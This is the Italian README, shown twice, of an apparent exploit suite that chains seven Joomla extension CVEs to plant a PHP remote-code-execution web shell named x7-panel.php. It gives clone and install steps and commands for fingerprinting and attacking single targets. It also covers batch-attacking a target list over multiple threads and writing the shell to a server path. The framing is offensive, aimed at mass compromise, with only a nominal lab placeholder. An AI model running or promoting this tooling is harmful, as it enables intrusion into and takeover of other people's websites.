CVE-2026-87930

---

📌 Riepilogo

Joomla Multi-CVE Suite — 7 moduli di vulnerabilità + deploy di x7-panel.php

CVE	Estensione
CVE-2026-56291	Balbooa Forms (com_baforms)
CVE-2026-56290	Page Builder CK (com_pagebuilderck)
CVE-2026-48908	SP Page Builder (com_sppagebuilder)
CVE-2026-48907	JCE (com_jce)
CVE-2026-48939	iCagenda (com_icagenda)
CVE-2026-49049	Helix3 (plg_ajax_helix3)
CVE-2026-48909	SP LMS (com_splms) — Joomla < 5.2.2 + --splms-path

La suite esegue automaticamente una catena; per un singolo modulo usa --cve.

📦 Installazione

git clone https://github.com/winrarzipsexploit/CVE-2026-87930.git
cd CVE-2026-87930
pip install -r requirements.txt

File	Ruolo
winrarzips_brand.py	Banner CMD (by winrarzips)
joomla_exploits.py	Moduli exploit 7-CVE
CVE-2026-Joomla-Suite.py	CLI batch + singolo target
payloads/x7-panel.php	Pannello RCE
requirements.txt	Dipendenze

❌ Liste di target, risultati delle scansioni e URL dei pannelli non sono presenti nel repo.

🎯 Singolo target

python CVE-2026-Joomla-Suite.py -u https://LAB-URL --fingerprint
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes --cve CVE-2026-48908

📦 Batch (con la tua lista)

python CVE-2026-Joomla-Suite.py -f targets.txt --yes --threads 8

🔧 SP LMS (48909)

Per target Joomla < 5.2.2 è necessario il percorso del server:

python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes --cve CVE-2026-48909 --splms-path /var/www/html/tmp/x7-panel.php

---

📌 Riepilogo

Joomla Multi-CVE Suite — 7 moduli di vulnerabilità + deploy di x7-panel.php

CVE	Estensione
CVE-2026-56291	Balbooa Forms (com_baforms)
CVE-2026-56290	Page Builder CK (com_pagebuilderck)
CVE-2026-48908	SP Page Builder (com_sppagebuilder)
CVE-2026-48907	JCE (com_jce)
CVE-2026-48939	iCagenda (com_icagenda)
CVE-2026-49049	Helix3 (plg_ajax_helix3)
CVE-2026-48909	SP LMS (com_splms) — Joomla < 5.2.2 + --splms-path

La suite esegue automaticamente una catena per impostazione predefinita; usa --cve per un singolo modulo.

📦 Configurazione

git clone https://github.com/winrarzipsexploit/CVE-2026-87930.git
cd CVE-2026-87930
pip install -r requirements.txt

File	Ruolo
winrarzips_brand.py	Banner CMD (by winrarzips)
joomla_exploits.py	Moduli exploit 7-CVE
CVE-2026-Joomla-Suite.py	CLI batch + singolo target
payloads/x7-panel.php	Payload del pannello RCE
requirements.txt	Dipendenze

❌ Liste di target, risultati delle scansioni e URL dei pannelli live non sono inclusi.

🎯 Singolo target

python CVE-2026-Joomla-Suite.py -u https://LAB-URL --fingerprint
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes --cve CVE-2026-48908

📦 Batch (con la tua lista)

python CVE-2026-Joomla-Suite.py -f targets.txt --yes --threads 8

🔧 SP LMS (48909)

Per target Joomla < 5.2.2, fornisci il percorso del server:

python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes --cve CVE-2026-48909 --splms-path /var/www/html/tmp/x7-panel.php

---